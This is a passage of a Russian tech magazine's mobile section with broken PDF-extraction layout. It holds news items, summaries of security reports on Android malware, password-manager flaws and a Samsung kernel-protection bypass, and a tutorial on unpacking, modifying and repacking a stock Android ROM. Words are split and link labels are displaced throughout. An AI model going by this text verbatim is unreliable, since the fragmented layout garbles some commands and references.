пании Sony, фак тичес ки мертв и боль ше раз вивать ся не будет,  как не будет
интегри рован в LineageOS 14.1 на базе Android 7.1. Ско рее все го, его мес то
зай мет дви жок тем Substratum,   для рутован ных Android
6 и 7.

приз нали

дос тупный в Play Store

РЕЛИЗЫ
Глав ный  релиз  фев раля —  Android  Wear  2.0,  сущес твен но  перера ботан ная
вер сия  Android  для  умных  часов.  В  новой  вер сии  пол ностью  изме нен
интерфейс,  теперь  он  сле дует  гай длай нам  Material  Design,  появи лась  кон ‐
цепция  модуль ных  цифер бла тов,  на  которые  мож но  добав лять  вид жеты,
перера бота ны меню при ложе ний и уве дом ления.

В  сис теме  теперь  есть  нас тоящая  кла виату ра,  под дер жка  рукопис ного
вво да  и  Play  Store.  С  его  помощью  мож но  уста нав ливать  пол ноцен ные,
не при вязан ные к смар тфо ну при ложе ния, спо соб ные получить дос туп в Сеть
с помощью Wi‐Fi или даже 3G/4G‐модуля. Они теперь тоже под держи вают ся.

Кла виату ра и рукопис ный ввод в Android Wear 2.0

В 2015 году в бра узе ре Chrome появи лась фун кция, поз воля ющая раз работ ‐
чикам  веб‐сай тов  добав лять  свой  сайт  на  рабочий  стол,  пред варитель но
спро сив  об  этом  юзе ра.  Фун кция  была  реали зова на  с  помощью  обыч ных
шор тка тов, то есть икон ки, содер жащей в опи сании адрес сай та.

В начале фев раля Google сущес твен но   эту фун кцию, и теперь
бета‐вер сия  Chrome  не  прос то  соз дает шор ткат  для  сай та,  а  завора чива ет
его в пол ноцен ное при ложе ние, которое появ ляет ся в спис ке уста нов ленных
и  может  обра баты вать  зап росы  на  откры тие  кон крет ных  типов  ссы лок,
выводить  уве дом ления  и  даже  зап рашивать  дос туп  к  под систе мам  устрой ‐
ства, таким как камера, GPS и мик рофон.

рас ширила

Веб‐при ложе ния теперь поч ти как нас тоящие

В начале фев раля РПЦ запус тила пер вый пра вос лавный мес сен джер. И  как
ни стран но,  это даже прав да. Они взя ли Telegram, переве ли его на рус ский
язык,  добави ли  нес коль ко  весь ма  экзо тичес ких  фун кций,  вро де  поис ковика
хра мов  и  воз можнос ти  заказать  молит ву,  пере име нова ли  в  «Прав жизнь
Телег рамм» (серь езно) и выпус тили на волю.

Мес сен джер  работа ет  через  стан дар тные  сер веры  Telegram,  так  что  ты
даже  можешь  при вязать  его  к  сво ему  акка унту  и  спо кой но  исполь зовать
вмес то нас тояще го «Телег рама».

КОДИНГ
  —  огромный  каталог  UI‐биб лиотек  для  Android,

начиная от выд вижных панелей и спис ков и закан чивая ани миро ван ными
эле мен тами  управле ния  и  пла вающи ми  экранны ми  кноп ками. Некото рые
биб лиоте ки уже уста рели и лег ко заменя ются стан дар тной Android Support
Library.

• awesome‐android‐ui

 — спи сок Java‐биб лиотек, которые нель ‐
зя про пус тить в 2017 году. В спис ке есть как дав но извес тные и популяр ‐
ные  биб лиоте ки  вро де  okHttp,  Retrofit,  RxJava,  так  и  зна комые  далеко
не  всем биб лиоте ки  вро де  jDeffered,  которая поз воля ет  выпол нять  асин ‐
хрон ные зап росы в сти ле jQuery (Deferred/Promise).

• Java libraries you can’t miss in 2017

•  — алфа вит ный ука затель для спис ков, соз данных
с помощью RecyclerView. Работа ет при мер но так же, как меню при ложе ний
в Action Launcher.

AlphabetIndex FastScroller

•  — вве дение в  язык Kotlin  на при мере соз дания  гра фичес ‐
кого при ложе ния для Android с нуля.
Kotlin example

•  — еще одно неболь шое вве дение
в  Kotlin,  объ ясня ющее,  нас коль ко  про ще  в  этом  язы ке  работать  с  клас ‐
сами.

Kotlin by examples: Class and Properties

•   —  вве дение  в  так  называ емые
coroutines  от  соз дателей  Kotlin.  Coroutines  —  это  фун кции,  работа ющие
в выделен ных потоках, которые могут общать ся меж ду собой и основным
потоком с помощью сооб щений. Эта кон цепция поза имс тво вана из язы ка
Go, и она зна читель но упро щает мно гопо точ ное прог рамми рова ние.

Guide  to  kotlinx.coroutines  by  example

ПОЧИТАТЬ
 — боль шой отчет «Лабора тории Кас пер ско го»

о мобиль ных вирусах, обна ружен ных в 2016 году.
Мо биль ная вирусо логия 2016

В 2016 году было обна руже но:
8 526 221 вре донос ный уста новоч ный пакет;•
128 886 мобиль ных бан ков ских тро янцев;•
261 214 мобиль ных тро янцев‐вымога телей.•

Тен денции года:
рост  популяр ности  вре донос ного  ПО  с  пра вами  супер поль зовате ля,
в пер вую оче редь рек ламных тро янцев;

•

рас простра нение злов редов через Google Play Store и рек ламные служ бы;•
по явле ние спо собов обой ти новые механиз мы защиты ОС Android;•
рост чис ла мобиль ных прог рамм‐вымога телей;•
ак тивное раз витие мобиль ных бан ков ских тро янцев.•

 —  отчет  ком пании  Eset  о  текущем  положе нии
в мире локеров для Android. Нес коль ко тезисов:
Trends  in  Android  ransomware

В  2016  году  было  обна руже но  на  50%  боль ше  локеров,  чем  в  пре дыду ‐
щем, с пиком обна руже ния в начале года.

•

Тренд 2016 года в методах рас простра нения — через email.•
Как  и  преж де,  один  из  самых  популяр ных  методов  рас простра нения  —
внед рение  в  легитим ное  при ложе ние,  одна ко  в  2016  году  появи лись
более  изощ ренные  методы  скры тия  кода  локера  внут ри  пакета,  вклю чая
шиф рование.

•

За час тую  локер  содер жит  в  себе  фун кци ональ ность  тро яна,  который
соеди няет ся с  коман дным пун ктом по HTTP, но есть и  такие,  кто исполь ‐
зует обыч ные push‐уве дом ления и даже про токол XMPP (Jabber).

•

Час то локеры при киды вают ся анти виру сами и при ложе нием PornHub.•
Бла года ря при меня емым в Android песоч ницам боль шинс тво шиф роваль ‐
щиков не может дотянуть ся ни до чего, кро ме фай лов на кар те памяти.

•

Эво люция локеров для Android

 — неболь шая замет ка,
написан ная  в  ответ  на  зна мени тое  иссле дова ние  16  тысяч  при ложе ний
на  пред мет  оставлен ных  в  коде  клю чей  и  про чей  кон фиден циаль ной
информа ции. Суть замет ки: как скрыть сек ретную информа цию или избе жать
ее вши вания в код.

They  reverse engineered 16k apps; here’s what we’d fix

 —  резуль таты  ана лиза  безопас ности  нес коль ких
при ложе ний  для  хра нения  паролей  в  Android.  Инте рес но,  что,  кро ме  прог ‐
рамм‐аут сай деров,  в  спи сок  уяз вимых  так же  попали  и  весь ма  популяр ные
и поль зующиеся довери ем LastPass и 1Password.

Password‐Manager  Apps

LastPass,  нап ример,  хра нит  мас тер‐ключ,  шиф рующий  мас тер‐пароль,
пря мо в коде без вся кой обфуска ции. Исполь зуя дру гую уяз вимость LastPass,
при водя щую к утеч ке дан ных встро енно го бра узе ра, этот мас тер‐ключ мож но
украсть. В 1Password проб лема еще более серь езная: его встро енный бра ‐
узер поз воля ет про читать при ват ный каталог при ложе ния вмес те с нас трой ‐
ками и зашиф рован ной базой паролей.

 —
статья,  пос вящен ная  тех нике  выхода  за  пре делы  гипер визора  RKP,  приз ‐
ванно го защитить ядро смар тфо нов Samsung от ком про мета ции.

Lifting the (Hyper) Visor: Bypassing Samsung’s Real‐Time Kernel Protection

Ги пер визор RKP (Real‐Time Kernel Protection) явля ется частью плат формы
Samsung  Knox,  соз данной  для  уси ления  механиз мов  безопас ности,  сущес ‐
тву ющих  в  Android,  и  обес печения  фун кци ональ нос ти,  необ ходимой  кор ‐
поратив ным поль зовате лям. Он исполь зует воз можнос ти архи тек туры 
для того, что бы запус тить ядро ОС в вир туали зиро ван ном окру жении и кон ‐
тро лиро вать  его  исполне ние,  пре секая  попыт ки  его  модифи кации  и  чте ния
учас тков памяти, содер жащих кри тичес ки важ ную информа цию.

ARMv8

Од нако ока залось,  что в RKP есть мно жес тво  уяз вимос тей,  вклю чая воз ‐
можность обой ти механизм KASLR, ран домизи рующий адрес заг рузки ядра,
механизм  защиты  от  заг рузки  про изволь ного  кода  и  механизм  защиты
памяти. Все они уже исправ лены в январ ском обновле нии Samsung.

Ги пер визор и ядро ОС
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СОЗДАЕМ НОВУЮ ПРОШИВКУ
БЕЗ КОВЫРЯНИЯ ИСХОДНИКОВ

Денис Погребной

X‐MOBILE

На вер няка  у  тебя  как  у  поль зовате ля  Android  воз никало
желание  сде лать  опе раци онную  сис тему  луч ше,  добавить
полез ное,  убрать  лиш нее  и  поделить ся  сво им  тво рени ем
с  общес твом.  Сбор ка  собс твен ной  про шив ки  из  исходни ‐
ков — слож ный про цесс, тре бующий глу боких зна ний пред ‐
мета,  одна ко  ник то  не  зап реща ет  взять  стан дар тную  про ‐
шив ку смар тфо на и адап тировать ее под свои нуж ды. Это не
так уж и слож но сде лать.

Нач нем с того, что тебе нужен Linux. В Windows ты смо жешь толь ко разоб рать
про шив ку,  но соб рать обратно  уже не получит ся по  чис то  тех ничес ким при ‐
чинам. Теперь о про шив ке. Обыч но они рас простра няют ся в виде ZIP‐архи ‐
вов,  про шива емых  через  кас томные  рекаве ри.  Имен но  один  из  них  нам
и  понадо бит ся  для  опы тов.  Начинать  путь  ромоде ла  я  рекомен дую
с  какой‐нибудь  мак сималь но  приб лижен ной  к  AOSP  кас томной  про шив ки,
потому что в ней зачас тую про ще разоб рать ся, чем в сто ке.

Нуж ный ZIP мож но най ти на   или  . Но имей в виду, что
нуж на  про шив ка  кон крет но  для  тво ей модели  аппа рата, —  у  того  же Galaxy
S7 есть нес коль ко модифи каций для раз ных рын ков, не всег да сов мести мых
меж ду собой.

XDA Developers 4PDA

СТРУКТУРА ZIP-ФАЙЛА С ПРОШИВКОЙ
Пос ле  заг рузки  рас паку ем  архив  с  помощью  любого  архи вато ра.  Внут ри
будет сле дующий набор фай лов и папок:

 — пап ка с мета информа цией о про шив ке (сер тификат авто ра,
манифест  со  спис ком  фай лов,  их  кон троль ными  сум мами),  скрип том
обновле ния  (updater‐script)  и  инстал лятором  (update‐binary),  который
выпол няет  коман ды  скрип та  по  мон тирова нию  раз делов,  копиро ванию
фай лов и дру гим дей стви ям с NAND‐памятью;

• META-INF

  —  образ  с  ядром  и  RAM‐дис ком  (он  про шива ется  в  раз дел
boot);

• boot.img

  —  это,  гру бо  говоря,  и  есть  сама  про шив ка,  а  точ нее
образ  раз дела  system,  содер жащий  опе раци онную  сис тему  Android
за вычетом ядра;

• system.new.dat

  —  содер жит  спи сок  команд,  которые  необ ходимо
выпол нить,  что бы  поб лочно  ско пиро вать  содер жимое  system.new.dat
в раз дел system при уста нов ке про шив ки;

• system.transfer.list

  —  исполь зует ся  для  OTA‐обновле ний,  то  есть
выбороч ного  вне сения  изме нений  в  про шив ку;  если  про шив ка  «пол ная»,
он име ет нулевой раз мер.

• system.patch.dat

Со дер жимое ZIP‐фай ла про шив ки LineageOS для Nexus 5

РАСПАКОВЫВАЕМ SYSTEM.NEW.DAT
Фай лы    и    пред став ляют  для  нас
наиболь ший инте рес. Точ нее, не они, а содер жаща яся в них сис тема. Но доб ‐
рать ся до нее не так прос то.

system.new.dat system.transfer.list

Скрипт
Са мые  ленивые  могут  разоб рать  про шив ку  с  помощью  скрип та 

.
System_Ex‐

tractor‐Linux
1. Рас паковы ваем архив с про шив кой в любую пап ку.
2. Ка чаем скрипт   и разар хивиру ем в любую пап ку.по ссыл ке
3. За пус каем файл   (если будет ругать ся на отсутс твие Java, прос то про ‐
пус ти, нажав  ; Java нуж на толь ко для запаков ки).

ext
y

4. Те перь выбира ем рас паков ку, нажав кноп ку 1, а затем Enter.
5. Но вая пап ка с име нем   появит ся рядом с фай лом   и пап кой

.  Копиру ем  в  нее фай лы    и 
.

extract_* ext
tools system.new.dat system.transfer.
list

6. Пос ле копиро вания фай лов нажима ем Enter и ждем. Через некото рое вре ‐
мя нуж но будет опять нажать Enter, ввес ти пароль адми нис тра тора и еще
раз тап нуть Enter.

7. Го тово. Содер жимое system в пап ке  .extract_*/output

Скрипт для рас паков ки system.new.dat в Linux

Руч ной спо соб
Рас паковы ваем архив с про шив кой в любую пап ку (нап ример, в  ):rom

$ mkdir ~/rom
$ unzip путь_до_архива ‐d ~/rom/

Ска чива ем нуж ные нам инс тру мен ты в эту пап ку:

$ cd ~/rom
$ wget https://github.com/xpirt/sdat2img/raw/master/sdat2img.py

За пус каем скрипт:

$ chmod +x sdat2img.py
$ ./sdat2img.py system.transfer.list system.new.dat system.img

Он  пре обра зует  файл    в  raw‐образ  с  име нем  .
Мон тиру ем образ к под папке  :

system.new.dat system.img
mnt

$ mkdir mnt
$ sudo mount ‐t ext4 ‐o loop system.img ~/rom/mnt

Со дер жимое обра за system

СТРУКТУРА КАТАЛОГОВ ANDROID
Пос ле рас паков ки system появит ся сле дующая катало говая струк тура:

 — пре дус танов ленные при ложе ния со стан дар тны ми при виле гиями;• app

  —  пре дус танов ленные  при ложе ния  с  повышен ными  при виле ‐
гиями, в том чис ле некото рые ком понен ты сис темы;

• priv-app

 — бинар ные фай лы фор мата ELF, ана лог катало гов   и 
в Linux. Содер жит раз личные сис темные ком понен ты, исполь зуемые более
высоко уров невыми ком понен тами сис темы;

• bin /bin /usr/bin

 — фай лы нас тро ек. Пол ный ана лог   в Linux, исполь зуемый, одна ‐
ко,  толь ко  теми самыми сис темны ми ком понен тами. При ложе ния Android
хра нят инди виду аль ные нас трой ки в катало гах  ;

• etc /etc

/data/data/
  —  шриф ты.  По  умол чанию  содер жит  толь ко  фир менные  шриф ты

Roboto;
• fonts

 —  биб лиоте ки  Java‐клас сов,  исполь зуемых  сис темой  и  при ‐
ложе ниями. Тут же лежит файл  , содер жащий пол ное
опи сание интерфей са опе раци онной  сис темы,  вклю чая  все  гра фичес кие
фай лы;

• framework

framework-res.apk

  и    —  Linux‐биб лиоте ки,  исполь зуемые  низ коуров невыми  ком ‐
понен тами сис темы. Ана лог катало гов   и   в Linux, вклю чая
такие стан дар тные биб лиоте ки, как  libc,  libz,  libssl. На устрой ствах с архи ‐
тек турой ARMv 7 и ниже каталог lib 64 будет отсутс тво вать;

• lib lib 64

/lib /usr/lib

 —  меди афай лы:  рин гто ны,  зву ки  уве дом лений,  зву ки  интерфей са
и ани мация заг рузки ОС;

• media

 — фай лы, необ ходимые син тезато ру речи;• tts

  —  каталог,  который  обыч но  содер жит  фай лы,  необ ходимые
для работы при ложе ний из катало га bin. По сути, ана лог  ;

• usr

/usr/share
  —  фай лы,  пос тавля емые  про изво дите лем  устрой ства.  Обыч но

содер жит  бинар ный  firmware  для  раз личных  желез ных  ком понен тов,  нап ‐
ример модуля Wi‐Fi;

• vendor

  —  необя затель ный  каталог;  кас томные  про шив ки  исполь зуют  его
для хра нения таких вещей, как интер пре татор bash, SSH, PowerTOP, Busy‐
Box, и дру гих полез ных инс тру мен тов;

• xbin

  —  файл,  содер жащий  информа цию  о  сбор ке,  а  так же  раз ‐
личные низ коуров невые нас трой ки;

• build.prop

 —  содер жит  скрип ты,  запус каемые  пос ле  уста нов ки  про шив ки.
Сюда же GApps про писы вают свой скрипт, бла года ря которо му воз рожда ‐
ются пос ле пере уста нов ки про шив ки.

• addon.d

Оз накомив шись с базовой струк турой Android, нач нем вно сить изме нения.

УДАЛЯЕМ И ДОБАВЛЯЕМ ПРИЛОЖЕНИЯ
Все пре дус танов ленные прог раммы мож но най ти в двух пап ках:

/system/app/;•
/system/priv‐app/.•

Друг от дру га они отли чают ся при виле гиями дос тупа. Если прог раммы из 
име ют такие же пол номочия, как сто рон ние прог раммы (нап ример, уста нов ‐
ленные  из  Play  Store),  то  при ложе ния  из    могут  исполь зовать  при ‐
виле гиро ван ные  API  (пра ва  privileged).  Под робнее  об  этом  мож но  узнать
из  .

app

priv‐app

на шей статьи
Для пре дус танов ки при ложе ния в про шив ку прос то кинь ее APK‐файл в 

. Мож но, конеч но, соз дать отдель ную пап ку, но в нашем слу чае
в этом нет смыс ла, потому что пап ка слу жит для хра нения биб лиотек и odex‐
фай лов, которых у нас поп росту нет. Для уда ления прос то уда ли пап ку с ним.

/
system/app/

Мож но пой ти даль ше и поменять сто ковые при ложе ния на ана логи. К при ‐
меру, для замены кален даря уда ляем пап ку   и копиру ем в 

 наш любимый  . А мож но и не  копиро ‐
вать. Тог да про шив ка будет без кален даря.

Calendar /system/
app com.rpagyc.simplecalendar.apk

Глав ное,  пом ни:  сто ковые  прог раммы  могут  быть  свя заны  меж ду  собой.
Поэто му уда ление одной про ги впол не может при вес ти к пол ной нерабо тос ‐
пособ ности  дру гой  (к  при меру, CalendarProvider  и Calendar:  уда лив  пер вый,
ты  сде лаешь  нерабо тос пособ ным  не  толь ко  сто ковый,  но  и  любой  дру гой
кален дарь). К счастью, в чис тых AOSP‐про шив ках вза имос вязей не так мно го.

МЕНЯЕМ АНИМАЦИЮ ЗАГРУЗКИ
Ани мация хра нит ся в виде PNG‐кар тинок, упа кован ных в архив 

 без сжа тия. Внут ри архи ва находят ся:
/system/me‐

dia/bootanimation.zip
 — файл, опи сыва ющий ани мацию;• desc.txt

 — пап ка с фай лами ани маций, которые вос про изво дят ся пер выми;• part 0

 — пап ка с фай лами ани маций, которые вос про изво дят ся вто рыми;• part 1

...•
 — край няя пап ка, изоб ражения с которой вос про изво дят ся в кон це.• part?

Файл   может содер жать неч то вро деdesc.txt

1920 1080 60
p 1 0 part0
p 0 0 part1

Наз начение этих строк инту итив но понят но: 1920 × 1080 — раз решение кар ‐
тинки,  60  —  чис ло  кад ров  в  секун ду.  Part 0  и  part 1  ука зыва ют  на  пап ки,
из  которых  будет  вос про изво дить ся  ани мация,  и  пос ледова тель ность  вос ‐
про изве дения.  Вооб ще,  может  быть  как  одна  часть,  так  и  нес коль ко  (три
и боль ше).

Изоб ражения, находя щиеся в пап ках part, про нуме рова ны пятью циф рами
в поряд ке вос про изве дения:  ,  ,  ...  Эти  изоб ‐
ражения  мож но  поменять  на  свои,  тем  самым  соз дав  ори гиналь ную  ани ‐
мацию.  А  мож но  прос то  уда лить  файл  .  Тог да  девайс
будет  показы вать  ани мацию  из  стан дар тно го  Android.  Или  вос поль зовать ся

.

00000.png 00001.png 00002.png

bootanimation.zip

уже готовой кол лекци ей ани маций на 4PDA

Че тыре час ти в bootanimation.zip для LineageOS

ИЗМЕНЯЕМ ЗВУКОВОЕ ОФОРМЛЕНИЕ
Фак тичес ки  все  зву ки,  которые  вос про изво дит  сис тема,  хра нят ся  в  пап ке 

. Внут ри нее ты най дешь сле дующие пап ки:
/

system/media/audio
 — мелодии будиль ника;• alarms

 — зву ки уве дом лений;• notifications

 — мелодии звон ка;• ringtones

  —  сис темные  зву ки,  нап ример  низ кий  заряд  батареи,  фокуси ров ка
камеры, выбор эле мен тов интерфей са.

• ui

В  alarms,  notifications,  ringtones  мож но  накидать  сколь ко  угод но  любых
мелодий. Взять их мож но, нап ример, здесь:

;• стан дар тные мелодии из раз ных телефо нов и смар тфо нов Nokia
;• зна мени тые стан дар тные рин гто ны

;• прос то мно жес тво рин гто нов
.• ме лодии с раз ных телефо нов

И  малень кий  лай фхак:  уда ление  фай лов  из  пап ки    при ведет  не  к  сбо ям
и  ошиб кам,  а  к  исчезно вению  сис темных  зву ков.  Поэто му  ты можешь  лег ко
отклю чить звук соз дания сним ка с камеры, сня тия скрин шота, прос то потерев
содер жащие эти зву ки фай лы (их име на инту итив но понят ны).

ui

ДОБАВЛЯЕМ ШРИФТЫ
Шриф ты хра нят ся в  . Най ти архи вы с фай лами шриф тов мож но на 
и  . Для уста нов ки дос таточ но ско пиро вать с заменой ttf‐фай лы из архи ва
в пап ку  .

fonts 4PDA
XDA

fonts

МЕНЯЕМ СИСТЕМНЫЕ НАСТРОЙКИ (BUILD.PROP)
В обра зе system есть инте рес ный фай лик  , содер жащий мно жес ‐
тво  полез ной  информа ции  о  железе  устрой ства  и  нас трой ках,  уста нав лива ‐
емых  по  умол чанию,  для  раз личных  сто ковых  при ложе ний.  Спра вед ливос ти
ради замечу, что это не всег да так. Нап ример, в Gigaset ME и ME Pro 

 раз делен на две час ти. В одной час ти содер жатся нас трой ки для Gigaset
ME,  а  для  ME  Pro  некото рые  стро ки  про дуб лирова ны,  но  клю чи  (наз вание
смар тфо на и  так  далее)  в  них дру гие. Это было сде лано,  что бы обес печить
более‐менее  кор рек тную  работос пособ ность  одной  и  той  же  про шив ки
на раз ных аппа ратах.

build.prop

build.
prop

До пол нитель ный файл для Gigaset ME и ME Pro

Build.prop  содер жит  (или  может  содер жать)  огромное  количес тво  нас тро ек.
Некото рые из них ничего не меня ют, некото рые улуч шают одно за счет ухуд ‐
шения дру гого, но есть те, которые дей стви тель но полез ны:

  и    —  модель  смар тфо на
и имя про изво дите ля. С помощью замены этих строк мож но зас тавить Play
Store  думать,  буд то  у  тебя  дру гой  смар тфон,  что  откро ет  дос туп  к  боль ‐
шему количес тву соф та. Для вся ких мало извес тных китай ских смар тфо нов
эти строч ки могут стать спа ситель ными;

• ro.product.model ro.product.manufacturer

  —  при нима ет  толь ко  два  зна чения:  0  —  показать
наэк ранные  кла виши  навига ции,  1  —  не  показы вать  кноп ки.  Отсутс твие
стро ки соот ветс тву ет 0;

• hw.qemu.mainkeys

 — зна чение 1 отклю чает ани мацию заг рузки,
что нем ного под нима ет ее ско рость. Уста нов ка 0 или уда ление стро ки воз ‐
вра щает ани мацию на мес то;

• debug.sf.nobootanimation

 —  говорит  сис теме,  в  какой режим дол ‐
жна быть перек лючена мобиль ная сеть при заг рузке;

• ro.telephony.default_network

 — DPI дис плея, наибо лее точ ное зна чение для дис плея
мож но  пос читать  через  .  Но  ник то  не  зап реща ет  пос тавить
и  боль шее  или  мень шее  зна чение  по  сво ему  вку су:  более  высокие  зна ‐
чения дела ют эле мен ты интерфей са круп нее, низ кие — мень ше;

• ro.sf.lcd_density

удоб ный сайт

  —  количес тво  шагов  гром кости  во  вре мя
раз говора (по умол чанию 8);

• ro.config.vc_call_vol_steps

 — количес тво шагов гром кости муль тимедиа
(по умол чанию 15).

• ro.config.media_vol_steps

ВНЕДРЯЕМ В ПРОШИВКУ GOOGLE APPS
Поч ти  всег да  кас томные  про шив ки  пос тавля ются  без  сер висов  Google
и магази на при ложе ний. Раз работ чики пред лага ют нам уста новить их отдель ‐
но с помощью пакета GApps. Одна ко его мож но интегри ровать пря мо в про ‐
шив ку.

Для начала необ ходимо ска чать пакет GApps. Я рекомен дую брать архи вы
. Выбира ешь вер сию Android, архи тек туру про цес сора и вари ант

ком плек тации  (Pico, Nano, Stock…),  который опре деля ет,  сколь ко раз личных
при ложе ний Google содер жит архив. Я рекомен дую ска чать вер сию Pico. Она
содер жит толь ко Play Store и набор необ ходимых для его работы биб лиотек.

Open GApps

Ин тегра ция GApps в про шив ку выпол няет ся так:
1. Рас паковы ваем ZIP‐архив GApps с помощью любого архи вато ра.
2. Пе рехо дим в пап ку Core.
3. Ви дим  мно жес тво  архи вов  с  рас ширени ем  .  Извле каем
с помощью lzip.

.tar.lz

4. Пос ле  рас паков ки  копиру ем  фай лы  из  папок  в  соот ветс тву ющие  пап ки
в  system.  Что  куда  кидать,  нет рудно  догадать ся  по  струк туре  катало гов
в  архи ве.  Нап ример,  configupdater  (со  скрин шота)  нуж но  кидать  в  пап ку

.priv-app
5. Пе рехо дим в пап ку GApps  (находит ся рядом с Core) и про делы ваем пун ‐
кты 3 и 4 для фай лов в ней.

6. Все, мы интегри рова ли GApps в нашу про шив ку!

Струк тура катало гов configupdater‐all.tar.lz

СВОБОДНОЕ МЕСТО
Не обхо димо  понимать,  что  мес то  для  уста нов ки  про шивок  огра ничен но.
Нель зя уста новить про шив ку, раз мер которой переве шива ет раз мер раз дела

 устрой ства. Пос мотреть его зна чение мож но, исполь зуя  :system ADB

$ adb shell df /system

Ин фа о раз деле system

Вто рой вари ант: пос тавить на устрой ство   и наб рать коман дутер минал

$ df /system

Раз мер  раз дела  в  бай тах  мож но  узнать,  уста новив  на  смар тфон 
и выпол нив в тер минале коман ду

BusyBox

$ busybox df ‐B 1 /system

Или то же самое с помощью ADB:

$ adb shell busybox df ‐B 1 /system

Мес то, занима емое про шив кой, будет приб лизитель но рав но раз меру system
в  рас пакован ном  виде.  Вооб ще,  при  соз дании  про шив ки  необ ходимо  учи ‐
тывать,  что юзер  так же может про шить поверх нее раз личные модифи кации
(SuperSU,  Xposed)  или  перенес ти  при ложе ния  в  раз дел  system.  Нап ример,
минималь ный  пакет  при ложе ний Google  (Pico)  тре бует  минимум  150 Мбайт
допол нитель ного прос транс тва для уста нов ки.

При  необ ходимос ти  раз мер  фай ла  про шив ки  мож но  умень шить,  уда лив
не толь ко ненуж ные прог раммы из   ( ) и зву ки
вызова из   и  , но и:

/system/app /system/priv‐app
system/media/audio bootanimation.zip

  —  язы ки  при митив ного  голосо вого  движ ка  Pico
TTS, голосо вой дви жок Google это не зат ронет;

• /system/tts/lang_pico

 — офлайн‐язы ки. Мож но будет ска чать потом
онлайн, если понадо бит ся.

• /system/usr/srec/config/

СБОРКА
Пос ле  вне сения  изме нений  нуж но  соб рать  все  обратно.  Сна чала  запаку ем
раз дел   в  . Ска чива ем нуж ные нам инс тру мен ты:system system.new.dat

$ wget https://github.com/xpirt/img2sdat/raw/master/img2sdat.py
$ wget https://github.com/xpirt/img2sdat/raw/master/blockimgdiff.py
$ wget https://github.com/xpirt/img2sdat/raw/master/common.py
$ wget https://github.com/xpirt/img2sdat/raw/master/rangelib.py
$ wget https://github.com/xpirt/img2sdat/raw/master/sparse_img.py
$ sudo apt‐get install android‐tools‐fsutils

Пре обра зовы ваем  нашу  пап ку  обратно  в  RAW‐образ.  Назовем  его 
:

sys‐
tem_new.img

$ sudo make_ext4fs ‐T 0 ‐S file_contexts ‐l 1073741824 ‐a system 
system_new.img output/

  меня ем  на  раз мер  раз дела    в  бай тах. Желатель но  даже
сде лать его чуть мень ше. Дела ем из RAW‐обра за sparse‐образ:
1073741824 system

$ img2simg system_new.img system_snew.img

Пре обра зуем  наш  образ  в    и  ,
которые и нуж но кидать в архив с про шив кой, но сна чала уда лим ста рые фай ‐
лы:

system.transfer.list system.new.dat

$ rm ‐rf system.transfer.list
$ rm ‐rf system.new.dat
$ rm ‐rf system.patch.dat
$ chmod +x img2sdat.py
$ ./img2sdat.py system_snew.img

От делим фай лы про шив ки от лиш ней шелухи (фай лов, которые мы заг ружали
для работы. Для это го удоб но поль зовать ся архи вом с про шив кой). Уда лили?
Теперь нуж но запако вать про шив ку в ZIP‐архив (любым архи вато ром).

Ос талось  под писать  архив.  Сде лать  это  мож но  как  на  самом  Android
с помощью  , так и на ПК (пот ребу ется уста нов ленная Java):ZipSigner

$ wget https://github.com/appium/sign/raw/master/dist/sign.jar
$ java ‐jar файл.zip

Во  вре мя  сбор ки    ты  можешь  стол кнуть ся  с  нес коль кими
проб лемами,  выз ванны ми  пос тоян ными  изме нени ями  в  механиз мах  фор ‐
мирова ния про шивок Android. Опи сан ный выше спо соб дол жен хорошо сра ‐
ботать  в  слу чае  осно ван ной  на  Android  5.1  про шив ки,  в  более  новых  могут
воз никнуть слож ности, так что пот ребу ется исполь зовать дру гие вер сии инс ‐
тру мен тов сбор ки. К сожале нию, мы не можем опи сать все нюан сы сбор ки,
поэто му, воз можно, при дет ся погуг лить.

system.new.dat

УСТАНОВКА
Для  уста нов ки  кас томной  про шив ки  необ ходим  кас томный  рекаве ри  TWRP,
поз воля ющий уста нав ливать непод писан ные или под писан ные тес товым клю ‐
чом про шив ки (имен но такую мы соз дали). В жур нале мы неод нократ но опи ‐
сыва ли  про цесс  его  уста нов ки,  да  и  в  вет ках  форума,  пос вящен ных  тво ему
устрой ству, обыч но есть дос таточ но информа ции для того, что бы это сде лать.

TWRP

ВЫВОДЫ
Эта  статья  опи сыва ет  лишь  вер хушку  огромно го  айсбер га  под  наз вани ем
«модифи кация про шивок». «Серь езные» про шив ки не толь ко допол няют ядро
и саму про шив ку со сто ковы ми при ложе ниями мно жес твом фун кций (которые
зачас тую  выр ваны  из  дру гих  ядер  и  про шивок),  орга низо вывая  или  даже
меняя прин ципы их вза имо дей ствия, но и впол не могут кар диналь но менять
прин ципы работы ОС. Прав да, такая подел ка — это уже не Android, а отдель ‐
ная ОС, даже если Play‐сер висы получит ся туда пос тавить (кста ти, такие дей ‐
ствия, мяг ко говоря, не поощ ряют ся Google). Ну и не забыва ем: все обо лоч ки
от про изво дите лей — TouchWiz, ZenUI, HTC Sense и так далее — все го лишь
обыч ные  кас томы,  мак сималь но  при вязан ные  к  железу  устрой ства  и  друг
к дру гу.

https://forum.xda-developers.com/
http://4pda.ru/forum/
https://github.com/matriex/System_Extractor-Linux
https://github.com/matriex/System_Extractor-Linux/archive/master.zip
https://xakep.ru/2016/04/20/android-api/
https://4pda.ru/forum/index.php?showtopic=170907
http://forum.allnokia.ru/viewtopic.php?t=27216
http://4pda.ru/forum/index.php?showtopic=273921
https://4pda.ru/forum/index.php?showtopic=501
http://forum.allsiemens.com/viewtopic.php?t=24783
https://4pda.ru/forum/index.php?s=&showtopic=161587&view=findpost&p=4647418
https://forum.xda-developers.com/android/themes/fonts-flashable-zips-t3219827
https://www.sven.de/dpi/
http://opengapps.org/
https://xakep.ru/2016/05/12/android-adb/
https://play.google.com/store/apps/details?id=jackpal.androidterm
https://play.google.com/store/apps/details?id=stericson.busybox
https://play.google.com/store/apps/details?id=kellinwood.zipsigner2


ИССЛЕДУЕМ (НЕ)БЕЗОПАСНОСТЬ
СМАРТФОНОВ, КОТОРЫЕ НЕ ПРОХОДЯТ

СЕРТИФИКАЦИЮ GOOGLE

Олег Афонин

X‐MOBILE

Каж дый  Android‐смар тфон  с  пре дус танов ленным  Play  Store
дол жен  обя затель но  про ходить  сер тифика цию  Google.
Это дол гая про цеду ра, которая сто ит денег, поэто му некото ‐
рые  ком пании  ищут  спо собы ее обой ти. Вот  толь ко  вмес те
с  обхо дом  сер тифика ции  они  обхо дят  и  все  тре бова ния
Google к безопас ности устрой ств, а мы получа ем смар тфон
без  воз можнос ти  вклю чить  шиф рование,  с  уяз вимым  дат ‐
